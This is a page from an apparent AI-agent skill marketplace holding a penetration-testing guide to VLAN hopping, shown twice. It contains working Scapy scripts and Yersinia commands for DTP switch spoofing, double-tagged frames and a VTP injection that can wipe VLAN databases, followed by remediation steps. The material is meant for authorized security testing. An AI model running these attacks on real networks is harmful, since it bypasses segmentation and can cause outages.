[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZKPA55568CF3WDH3F237N":3,"skill-same:01M6GZKPA55568CF3WDH3F237N":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":58,"install":59,"resources":72},"01M6GZKPA55568CF3WDH3F237N","performing-vlan-hopping-attack",null,"Simulates VLAN hopping attacks using switch spoofing and double tagging techniques in authorized environments to test VLAN segmentation effectiveness and validate switch port security configurations against Layer 2 bypass attacks.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"performing","vlan","performing vlan hopping attack","layer2-attack","techniques","layer","layer2","attacks","port","switch","vlan-hopping","security","segmentation","802.1q","switch-security","network-security","network","validate","test","cybersecurity","2026-11-10 10:12:30",false,"---\nname: performing-vlan-hopping-attack\ndescription: >\n  Simulates VLAN hopping attacks using switch spoofing and double tagging techniques\n  in authorized environments to test VLAN segmentation effectiveness and validate\n  switch port security configurations against Layer 2 bypass attacks.\ndomain: cybersecurity\nsubdomain: network-security\ntags: [network-security, vlan-hopping, layer2-attack, switch-security, 802.1q]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Performing VLAN Hopping Attack\n\n## When to Use\n\n- Testing the effectiveness of VLAN-based network segmentation during authorized penetration tests\n- Validating that switch trunk port configurations prevent unauthorized VLAN access\n- Assessing whether 802.1Q tagging and native VLAN configurations resist double-tagging attacks\n- Demonstrating to network teams why proper switch hardening is critical for isolation between zones\n- Verifying that DTP (Dynamic Trunking Protocol) is disabled on all access ports\n\n**Do not use** on production switches without explicit authorization and change management approval, against critical infrastructure VLANs (SCADA, medical devices) without safety controls, or as a denial-of-service vector.\n\n## Prerequisites\n\n- Written authorization specifying in-scope VLANs and switches for testing\n- Physical or virtual access to a switch access port on the target network\n- Yersinia, Scapy, and frogger VLAN hopping tools installed on Kali Linux\n- Understanding of 802.1Q trunking, DTP, and VLAN tagging at the frame level\n- Access to switch CLI for verification of configurations (read-only is sufficient)\n- Wireshark for capturing and verifying tagged frames\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Enumerate VLAN Configuration\n\n```bash\n# Identify the current VLAN assignment of the attacker port\nip link show eth0\ncat \u002Fproc\u002Fnet\u002Fvlan\u002Fconfig 2>\u002Fdev\u002Fnull\n\n# Use CDP\u002FLLDP to discover switch information\nsudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>\u002Fdev\u002Fnull\n# Or use lldpd\nlldpcli show neighbors\n\n# If CDP is enabled, capture CDP frames\nsudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'\n\n# Use Yersinia to discover DTP and VTP information\nsudo yersinia -G &\n# Or command line:\nsudo yersinia dtp -attack 0 -interface eth0\n# This listens for DTP frames to learn trunk negotiation status\n\n# Nmap to identify hosts on other VLANs (if routing exists)\nnmap -sn 10.10.10.0\u002F24 10.10.20.0\u002F24 10.10.30.0\u002F24\n```\n\n### Step 2: Attempt Switch Spoofing (DTP Attack)\n\n```bash\n# Use Yersinia to send DTP frames and negotiate a trunk\nsudo yersinia dtp -attack 1 -interface eth0\n\n# This sends DTP desirable frames to convert the access port to a trunk\n# If successful, the port becomes a trunk carrying all VLANs\n\n# Alternatively, use Scapy to craft DTP frames\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\nfrom scapy.contrib.dtp import *\n\n# Send DTP desirable frame to negotiate trunk\ndtp_frame = (\n    Ether(dst=\"01:00:0c:cc:cc:cc\", src=get_if_hwaddr(\"eth0\")) \u002F\n    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) \u002F\n    SNAP(OUI=0x00000c, code=0x2004) \u002F\n    DTP(tlvlist=[\n        DTPDomain(type=0x0001, domain=\"\"),\n        DTPStatus(type=0x0002, status=b\"\\x03\"),  # Desirable\n        DTPType(type=0x0003, dtptype=b\"\\xa5\"),    # 802.1Q trunk\n        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr(\"eth0\"))\n    ])\n)\n\nsendp(dtp_frame, iface=\"eth0\", count=10, inter=1)\nprint(\"[*] DTP desirable frames sent. Check if trunk is negotiated.\")\nPYEOF\n\n# If trunk negotiation succeeds, verify by capturing tagged frames\nsudo tcpdump -en -i eth0 'vlan' -c 10\n\n# Create VLAN subinterfaces to access other VLANs\nsudo modprobe 8021q\nsudo ip link add link eth0 name eth0.10 type vlan id 10\nsudo ip addr add 10.10.10.99\u002F24 dev eth0.10\nsudo ip link set eth0.10 up\n\nsudo ip link add link eth0 name eth0.20 type vlan id 20\nsudo ip addr add 10.10.20.99\u002F24 dev eth0.20\nsudo ip link set eth0.20 up\n\n# Verify access to other VLANs\nping -c 3 10.10.10.1\nping -c 3 10.10.20.1\n```\n\n### Step 3: Attempt Double Tagging Attack\n\n```bash\n# Double tagging works when:\n# 1. Attacker is on the native VLAN of the trunk\n# 2. Target VLAN is different from the native VLAN\n# 3. The switch strips the outer tag and forwards the inner tag\n\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\n\n# Craft double-tagged frame\n# Outer tag: Native VLAN (e.g., VLAN 1)\n# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)\ntarget_ip = \"10.10.20.10\"\ntarget_mac = \"ff:ff:ff:ff:ff:ff\"\n\ndouble_tagged = (\n    Ether(dst=target_mac, src=get_if_hwaddr(\"eth0\")) \u002F\n    Dot1Q(vlan=1) \u002F       # Outer tag: native VLAN (will be stripped)\n    Dot1Q(vlan=20) \u002F      # Inner tag: target VLAN (will be forwarded)\n    IP(dst=target_ip, src=\"10.10.20.99\") \u002F\n    ICMP(type=8)           # Echo request\n)\n\n# Send the double-tagged frame\nsendp(double_tagged, iface=\"eth0\", count=5, inter=1)\nprint(\"[*] Double-tagged frames sent targeting VLAN 20\")\nprint(\"[!] Note: Double tagging is unidirectional - no responses expected\")\nPYEOF\n\n# Use frogger for automated VLAN hopping\n# frogger identifies native VLAN and attempts double tagging\nsudo frogger\n\n# Verify with Wireshark capture on the target VLAN (if possible)\n# On a monitoring port in VLAN 20:\ntshark -i eth1 -Y \"vlan.id == 20 and icmp\" -c 10\n```\n\n### Step 4: Test VTP (VLAN Trunking Protocol) Attacks\n\n```bash\n# If VTP is in use, attempt to inject a VTP message with higher revision number\n# This can overwrite VLAN database across all switches in the domain\n\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\n\n# Craft VTP summary advertisement with high revision number\n# WARNING: This can disrupt the entire VLAN domain if successful\nvtp_frame = (\n    Ether(dst=\"01:00:0c:cc:cc:cc\", src=get_if_hwaddr(\"eth0\")) \u002F\n    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) \u002F\n    SNAP(OUI=0x00000c, code=0x2003) \u002F\n    Raw(load=bytes([\n        0x02,                    # Version 2\n        0x01,                    # Summary advertisement\n        0x00,                    # Followers\n        0x06,                    # Domain name length\n        0x54, 0x45, 0x53, 0x54, # Domain: \"TEST\"\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0xFF, 0xFF, # High revision number\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, # MD5 digest (zeros for lab)\n    ]))\n)\n\n# Only send in authorized lab environments\nsendp(vtp_frame, iface=\"eth0\", count=1)\nprint(\"[*] VTP summary advertisement sent\")\nPYEOF\n```\n\n### Step 5: Verify Switch Configuration Weaknesses\n\n```bash\n# On the switch (with read access), check for misconfigurations:\n\n# Check DTP status on access ports (should be nonegotiate)\n# show interfaces \u003Cinterface> switchport\n# Expected: Administrative Mode: static access\n#           Negotiation of Trunking: Off\n\n# Check native VLAN configuration (should not be VLAN 1)\n# show interfaces trunk\n# Expected: Native VLAN not matching any user VLAN\n\n# Check VTP mode (should be transparent or off)\n# show vtp status\n# Expected: VTP Mode: Transparent\n\n# Check unused ports are disabled\n# show interfaces status | include disabled\n\n# Verify port security is enabled\n# show port-security\n```\n\n### Step 6: Document Findings and Remediation\n\n```bash\n# Clean up VLAN subinterfaces\nsudo ip link del eth0.10 2>\u002Fdev\u002Fnull\nsudo ip link del eth0.20 2>\u002Fdev\u002Fnull\n\n# Stop any running attack tools\nsudo killall yersinia 2>\u002Fdev\u002Fnull\n\n# Document all test results with timestamps\ncat > vlan_hopping_report.txt \u003C\u003C 'EOF'\nVLAN Hopping Test Results\n=========================\nTest Date: $(date)\nTester: Security Assessment Team\nAuthorization: PENTEST-2024-0847\n\nTest 1: DTP Switch Spoofing\n  Result: VULNERABLE - Port negotiated trunk in 3 seconds\n  Access gained to: VLANs 1, 10, 20, 30, 40\n\nTest 2: Double Tagging\n  Result: VULNERABLE - Frames reached VLAN 20 from VLAN 1\n  Note: Unidirectional only (no return traffic)\n\nTest 3: VTP Attack\n  Result: NOT TESTED - VTP in transparent mode\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **VLAN Hopping** | Layer 2 attack technique that allows an attacker to access traffic on VLANs they are not authorized to reach, bypassing network segmentation |\n| **DTP (Dynamic Trunking Protocol)** | Cisco proprietary protocol that automatically negotiates trunk links between switches; vulnerable to spoofing when not disabled on access ports |\n| **Double Tagging** | Attack that encapsulates a frame with two 802.1Q tags, exploiting the switch's native VLAN processing to forward the inner-tagged frame to a different VLAN |\n| **Native VLAN** | VLAN assigned to untagged frames on a trunk port; misconfigurations where the native VLAN matches a user VLAN enable double-tagging attacks |\n| **VTP (VLAN Trunking Protocol)** | Cisco protocol for propagating VLAN database changes across switches; in server mode, a rogue VTP message with higher revision can overwrite the VLAN database |\n| **802.1Q** | IEEE standard for VLAN tagging that inserts a 4-byte tag into Ethernet frames to identify VLAN membership across trunk links |\n\n## Tools & Systems\n\n- **Yersinia**: Layer 2 attack framework supporting DTP, VTP, STP, CDP, DHCP, and 802.1Q attacks with both GUI and CLI modes\n- **Scapy**: Python packet manipulation library for crafting custom 802.1Q double-tagged frames and DTP negotiation packets\n- **frogger**: VLAN hopping tool that automates native VLAN discovery and double-tagging attacks\n- **Wireshark**: Packet analyzer for verifying VLAN tag contents and confirming frame delivery to target VLANs\n- **tcpdump**: Command-line capture tool for monitoring 802.1Q tagged frames and DTP\u002FVTP protocol traffic\n\n## Common Scenarios\n\n### Scenario: Testing VLAN Segmentation in a PCI-DSS Cardholder Data Environment\n\n**Context**: A retailer needs to verify that their cardholder data environment (CDE) on VLAN 50 is properly isolated from the corporate network (VLAN 10) and guest WiFi (VLAN 30). The network uses Cisco Catalyst switches with 802.1Q trunking. The assessment is authorized to test from a port on VLAN 10.\n\n**Approach**:\n1. Connect to an access port on VLAN 10 and listen for DTP frames to determine trunk negotiation status\n2. Send DTP desirable frames using Yersinia -- the port successfully negotiates a trunk because DTP was not disabled\n3. Create a VLAN 50 subinterface and attempt to reach CDE systems (10.10.50.0\u002F24) -- successful, demonstrating segmentation bypass\n4. Attempt double tagging from VLAN 1 (native VLAN) to VLAN 50 -- also successful because native VLAN is VLAN 1\n5. Document that VLAN segmentation fails as a PCI-DSS control due to DTP misconfiguration\n6. Recommend disabling DTP on all access ports, changing native VLAN to an unused VLAN, and enabling port security\n\n**Pitfalls**:\n- DTP spoofing can cause spanning-tree topology changes that disrupt network connectivity\n- Double tagging may not work if the native VLAN is not VLAN 1 or if the switch is configured properly\n- VTP attacks in a production environment can delete VLANs across the entire switching domain, causing widespread outages\n- Forgetting to remove VLAN subinterfaces after testing, leaving unauthorized VLAN access available\n\n## Output Format\n\n```\n## VLAN Hopping Assessment Report\n\n**Test ID**: VLAN-HOP-2024-001\n**Switch Under Test**: Core-SW1 (Cisco Catalyst 9300)\n**Attacker Port**: Gi1\u002F0\u002F24 (VLAN 10)\n**Target VLANs**: VLAN 20 (Servers), VLAN 50 (CDE)\n\n### Test Results\n\n| Attack | Target VLAN | Result | Impact |\n|--------|-------------|--------|--------|\n| DTP Switch Spoofing | All VLANs | VULNERABLE | Full trunk access gained |\n| Double Tagging | VLAN 50 | VULNERABLE | Unidirectional access to CDE |\n| VTP Injection | N\u002FA | NOT VULNERABLE | VTP transparent mode |\n\n### Root Causes\n1. DTP not disabled on access port Gi1\u002F0\u002F24 (Administrative mode: dynamic auto)\n2. Native VLAN is VLAN 1 (default) on all trunk links\n3. Unused ports not shutdown on the switch\n\n### Remediation\n1. Disable DTP on all access ports: `switchport nonegotiate`\n2. Set all access ports to static mode: `switchport mode access`\n3. Change native VLAN to unused VLAN: `switchport trunk native vlan 999`\n4. Shutdown all unused ports: `shutdown`\n5. Enable port security on access ports\n6. Set VTP to transparent mode on all switches\n```\n","# Performing VLAN Hopping Attack\n\n## When to Use\n\n- Testing the effectiveness of VLAN-based network segmentation during authorized penetration tests\n- Validating that switch trunk port configurations prevent unauthorized VLAN access\n- Assessing whether 802.1Q tagging and native VLAN configurations resist double-tagging attacks\n- Demonstrating to network teams why proper switch hardening is critical for isolation between zones\n- Verifying that DTP (Dynamic Trunking Protocol) is disabled on all access ports\n\n**Do not use** on production switches without explicit authorization and change management approval, against critical infrastructure VLANs (SCADA, medical devices) without safety controls, or as a denial-of-service vector.\n\n## Prerequisites\n\n- Written authorization specifying in-scope VLANs and switches for testing\n- Physical or virtual access to a switch access port on the target network\n- Yersinia, Scapy, and frogger VLAN hopping tools installed on Kali Linux\n- Understanding of 802.1Q trunking, DTP, and VLAN tagging at the frame level\n- Access to switch CLI for verification of configurations (read-only is sufficient)\n- Wireshark for capturing and verifying tagged frames\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Enumerate VLAN Configuration\n\n```bash\n# Identify the current VLAN assignment of the attacker port\nip link show eth0\ncat \u002Fproc\u002Fnet\u002Fvlan\u002Fconfig 2>\u002Fdev\u002Fnull\n\n# Use CDP\u002FLLDP to discover switch information\nsudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>\u002Fdev\u002Fnull\n# Or use lldpd\nlldpcli show neighbors\n\n# If CDP is enabled, capture CDP frames\nsudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'\n\n# Use Yersinia to discover DTP and VTP information\nsudo yersinia -G &\n# Or command line:\nsudo yersinia dtp -attack 0 -interface eth0\n# This listens for DTP frames to learn trunk negotiation status\n\n# Nmap to identify hosts on other VLANs (if routing exists)\nnmap -sn 10.10.10.0\u002F24 10.10.20.0\u002F24 10.10.30.0\u002F24\n```\n\n### Step 2: Attempt Switch Spoofing (DTP Attack)\n\n```bash\n# Use Yersinia to send DTP frames and negotiate a trunk\nsudo yersinia dtp -attack 1 -interface eth0\n\n# This sends DTP desirable frames to convert the access port to a trunk\n# If successful, the port becomes a trunk carrying all VLANs\n\n# Alternatively, use Scapy to craft DTP frames\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\nfrom scapy.contrib.dtp import *\n\n# Send DTP desirable frame to negotiate trunk\ndtp_frame = (\n    Ether(dst=\"01:00:0c:cc:cc:cc\", src=get_if_hwaddr(\"eth0\")) \u002F\n    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) \u002F\n    SNAP(OUI=0x00000c, code=0x2004) \u002F\n    DTP(tlvlist=[\n        DTPDomain(type=0x0001, domain=\"\"),\n        DTPStatus(type=0x0002, status=b\"\\x03\"),  # Desirable\n        DTPType(type=0x0003, dtptype=b\"\\xa5\"),    # 802.1Q trunk\n        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr(\"eth0\"))\n    ])\n)\n\nsendp(dtp_frame, iface=\"eth0\", count=10, inter=1)\nprint(\"[*] DTP desirable frames sent. Check if trunk is negotiated.\")\nPYEOF\n\n# If trunk negotiation succeeds, verify by capturing tagged frames\nsudo tcpdump -en -i eth0 'vlan' -c 10\n\n# Create VLAN subinterfaces to access other VLANs\nsudo modprobe 8021q\nsudo ip link add link eth0 name eth0.10 type vlan id 10\nsudo ip addr add 10.10.10.99\u002F24 dev eth0.10\nsudo ip link set eth0.10 up\n\nsudo ip link add link eth0 name eth0.20 type vlan id 20\nsudo ip addr add 10.10.20.99\u002F24 dev eth0.20\nsudo ip link set eth0.20 up\n\n# Verify access to other VLANs\nping -c 3 10.10.10.1\nping -c 3 10.10.20.1\n```\n\n### Step 3: Attempt Double Tagging Attack\n\n```bash\n# Double tagging works when:\n# 1. Attacker is on the native VLAN of the trunk\n# 2. Target VLAN is different from the native VLAN\n# 3. The switch strips the outer tag and forwards the inner tag\n\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\n\n# Craft double-tagged frame\n# Outer tag: Native VLAN (e.g., VLAN 1)\n# Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN)\ntarget_ip = \"10.10.20.10\"\ntarget_mac = \"ff:ff:ff:ff:ff:ff\"\n\ndouble_tagged = (\n    Ether(dst=target_mac, src=get_if_hwaddr(\"eth0\")) \u002F\n    Dot1Q(vlan=1) \u002F       # Outer tag: native VLAN (will be stripped)\n    Dot1Q(vlan=20) \u002F      # Inner tag: target VLAN (will be forwarded)\n    IP(dst=target_ip, src=\"10.10.20.99\") \u002F\n    ICMP(type=8)           # Echo request\n)\n\n# Send the double-tagged frame\nsendp(double_tagged, iface=\"eth0\", count=5, inter=1)\nprint(\"[*] Double-tagged frames sent targeting VLAN 20\")\nprint(\"[!] Note: Double tagging is unidirectional - no responses expected\")\nPYEOF\n\n# Use frogger for automated VLAN hopping\n# frogger identifies native VLAN and attempts double tagging\nsudo frogger\n\n# Verify with Wireshark capture on the target VLAN (if possible)\n# On a monitoring port in VLAN 20:\ntshark -i eth1 -Y \"vlan.id == 20 and icmp\" -c 10\n```\n\n### Step 4: Test VTP (VLAN Trunking Protocol) Attacks\n\n```bash\n# If VTP is in use, attempt to inject a VTP message with higher revision number\n# This can overwrite VLAN database across all switches in the domain\n\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\n\n# Craft VTP summary advertisement with high revision number\n# WARNING: This can disrupt the entire VLAN domain if successful\nvtp_frame = (\n    Ether(dst=\"01:00:0c:cc:cc:cc\", src=get_if_hwaddr(\"eth0\")) \u002F\n    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) \u002F\n    SNAP(OUI=0x00000c, code=0x2003) \u002F\n    Raw(load=bytes([\n        0x02,                    # Version 2\n        0x01,                    # Summary advertisement\n        0x00,                    # Followers\n        0x06,                    # Domain name length\n        0x54, 0x45, 0x53, 0x54, # Domain: \"TEST\"\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0xFF, 0xFF, # High revision number\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, # MD5 digest (zeros for lab)\n    ]))\n)\n\n# Only send in authorized lab environments\nsendp(vtp_frame, iface=\"eth0\", count=1)\nprint(\"[*] VTP summary advertisement sent\")\nPYEOF\n```\n\n### Step 5: Verify Switch Configuration Weaknesses\n\n```bash\n# On the switch (with read access), check for misconfigurations:\n\n# Check DTP status on access ports (should be nonegotiate)\n# show interfaces \u003Cinterface> switchport\n# Expected: Administrative Mode: static access\n#           Negotiation of Trunking: Off\n\n# Check native VLAN configuration (should not be VLAN 1)\n# show interfaces trunk\n# Expected: Native VLAN not matching any user VLAN\n\n# Check VTP mode (should be transparent or off)\n# show vtp status\n# Expected: VTP Mode: Transparent\n\n# Check unused ports are disabled\n# show interfaces status | include disabled\n\n# Verify port security is enabled\n# show port-security\n```\n\n### Step 6: Document Findings and Remediation\n\n```bash\n# Clean up VLAN subinterfaces\nsudo ip link del eth0.10 2>\u002Fdev\u002Fnull\nsudo ip link del eth0.20 2>\u002Fdev\u002Fnull\n\n# Stop any running attack tools\nsudo killall yersinia 2>\u002Fdev\u002Fnull\n\n# Document all test results with timestamps\ncat > vlan_hopping_report.txt \u003C\u003C 'EOF'\nVLAN Hopping Test Results\n=========================\nTest Date: $(date)\nTester: Security Assessment Team\nAuthorization: PENTEST-2024-0847\n\nTest 1: DTP Switch Spoofing\n  Result: VULNERABLE - Port negotiated trunk in 3 seconds\n  Access gained to: VLANs 1, 10, 20, 30, 40\n\nTest 2: Double Tagging\n  Result: VULNERABLE - Frames reached VLAN 20 from VLAN 1\n  Note: Unidirectional only (no return traffic)\n\nTest 3: VTP Attack\n  Result: NOT TESTED - VTP in transparent mode\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **VLAN Hopping** | Layer 2 attack technique that allows an attacker to access traffic on VLANs they are not authorized to reach, bypassing network segmentation |\n| **DTP (Dynamic Trunking Protocol)** | Cisco proprietary protocol that automatically negotiates trunk links between switches; vulnerable to spoofing when not disabled on access ports |\n| **Double Tagging** | Attack that encapsulates a frame with two 802.1Q tags, exploiting the switch's native VLAN processing to forward the inner-tagged frame to a different VLAN |\n| **Native VLAN** | VLAN assigned to untagged frames on a trunk port; misconfigurations where the native VLAN matches a user VLAN enable double-tagging attacks |\n| **VTP (VLAN Trunking Protocol)** | Cisco protocol for propagating VLAN database changes across switches; in server mode, a rogue VTP message with higher revision can overwrite the VLAN database |\n| **802.1Q** | IEEE standard for VLAN tagging that inserts a 4-byte tag into Ethernet frames to identify VLAN membership across trunk links |\n\n## Tools & Systems\n\n- **Yersinia**: Layer 2 attack framework supporting DTP, VTP, STP, CDP, DHCP, and 802.1Q attacks with both GUI and CLI modes\n- **Scapy**: Python packet manipulation library for crafting custom 802.1Q double-tagged frames and DTP negotiation packets\n- **frogger**: VLAN hopping tool that automates native VLAN discovery and double-tagging attacks\n- **Wireshark**: Packet analyzer for verifying VLAN tag contents and confirming frame delivery to target VLANs\n- **tcpdump**: Command-line capture tool for monitoring 802.1Q tagged frames and DTP\u002FVTP protocol traffic\n\n## Common Scenarios\n\n### Scenario: Testing VLAN Segmentation in a PCI-DSS Cardholder Data Environment\n\n**Context**: A retailer needs to verify that their cardholder data environment (CDE) on VLAN 50 is properly isolated from the corporate network (VLAN 10) and guest WiFi (VLAN 30). The network uses Cisco Catalyst switches with 802.1Q trunking. The assessment is authorized to test from a port on VLAN 10.\n\n**Approach**:\n1. Connect to an access port on VLAN 10 and listen for DTP frames to determine trunk negotiation status\n2. Send DTP desirable frames using Yersinia -- the port successfully negotiates a trunk because DTP was not disabled\n3. Create a VLAN 50 subinterface and attempt to reach CDE systems (10.10.50.0\u002F24) -- successful, demonstrating segmentation bypass\n4. Attempt double tagging from VLAN 1 (native VLAN) to VLAN 50 -- also successful because native VLAN is VLAN 1\n5. Document that VLAN segmentation fails as a PCI-DSS control due to DTP misconfiguration\n6. Recommend disabling DTP on all access ports, changing native VLAN to an unused VLAN, and enabling port security\n\n**Pitfalls**:\n- DTP spoofing can cause spanning-tree topology changes that disrupt network connectivity\n- Double tagging may not work if the native VLAN is not VLAN 1 or if the switch is configured properly\n- VTP attacks in a production environment can delete VLANs across the entire switching domain, causing widespread outages\n- Forgetting to remove VLAN subinterfaces after testing, leaving unauthorized VLAN access available\n\n## Output Format\n\n```\n## VLAN Hopping Assessment Report\n\n**Test ID**: VLAN-HOP-2024-001\n**Switch Under Test**: Core-SW1 (Cisco Catalyst 9300)\n**Attacker Port**: Gi1\u002F0\u002F24 (VLAN 10)\n**Target VLANs**: VLAN 20 (Servers), VLAN 50 (CDE)\n\n### Test Results\n\n| Attack | Target VLAN | Result | Impact |\n|--------|-------------|--------|--------|\n| DTP Switch Spoofing | All VLANs | VULNERABLE | Full trunk access gained |\n| Double Tagging | VLAN 50 | VULNERABLE | Unidirectional access to CDE |\n| VTP Injection | N\u002FA | NOT VULNERABLE | VTP transparent mode |\n\n### Root Causes\n1. DTP not disabled on access port Gi1\u002F0\u002F24 (Administrative mode: dynamic auto)\n2. Native VLAN is VLAN 1 (default) on all trunk links\n3. Unused ports not shutdown on the switch\n\n### Remediation\n1. Disable DTP on all access ports: `switchport nonegotiate`\n2. Set all access ports to static mode: `switchport mode access`\n3. Change native VLAN to unused VLAN: `switchport trunk native vlan 999`\n4. Shutdown all unused ports: `shutdown`\n5. Enable port security on access ports\n6. Set VTP to transparent mode on all switches\n```\n",{"name":5,"tags":48,"author":49,"domain":42,"license":14,"version":50,"subdomain":38,"description":51},[38,33,26,37,36],"mahipal","1.0","Simulates VLAN hopping attacks using switch spoofing and double tagging techniques in authorized environments to test VLAN segmentation effectiveness and validate switch port security configurations against Layer 2 bypass attacks.\n","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add micsapp\u002Fmicstec-skills --skill performing-vlan-hopping-attack",{"tool":65,"command":66},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill performing-vlan-hopping-attack",{"tool":68,"command":69},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill performing-vlan-hopping-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack\u002FSKILL.md",true,[73,78,84],{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack\u002FLICENSE",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",2171,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",6484,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-vlan-hopping-attack\u002Fscripts\u002Fagent.py",[91,126,156,176,196,221],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":106,"publishedAt":43},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application 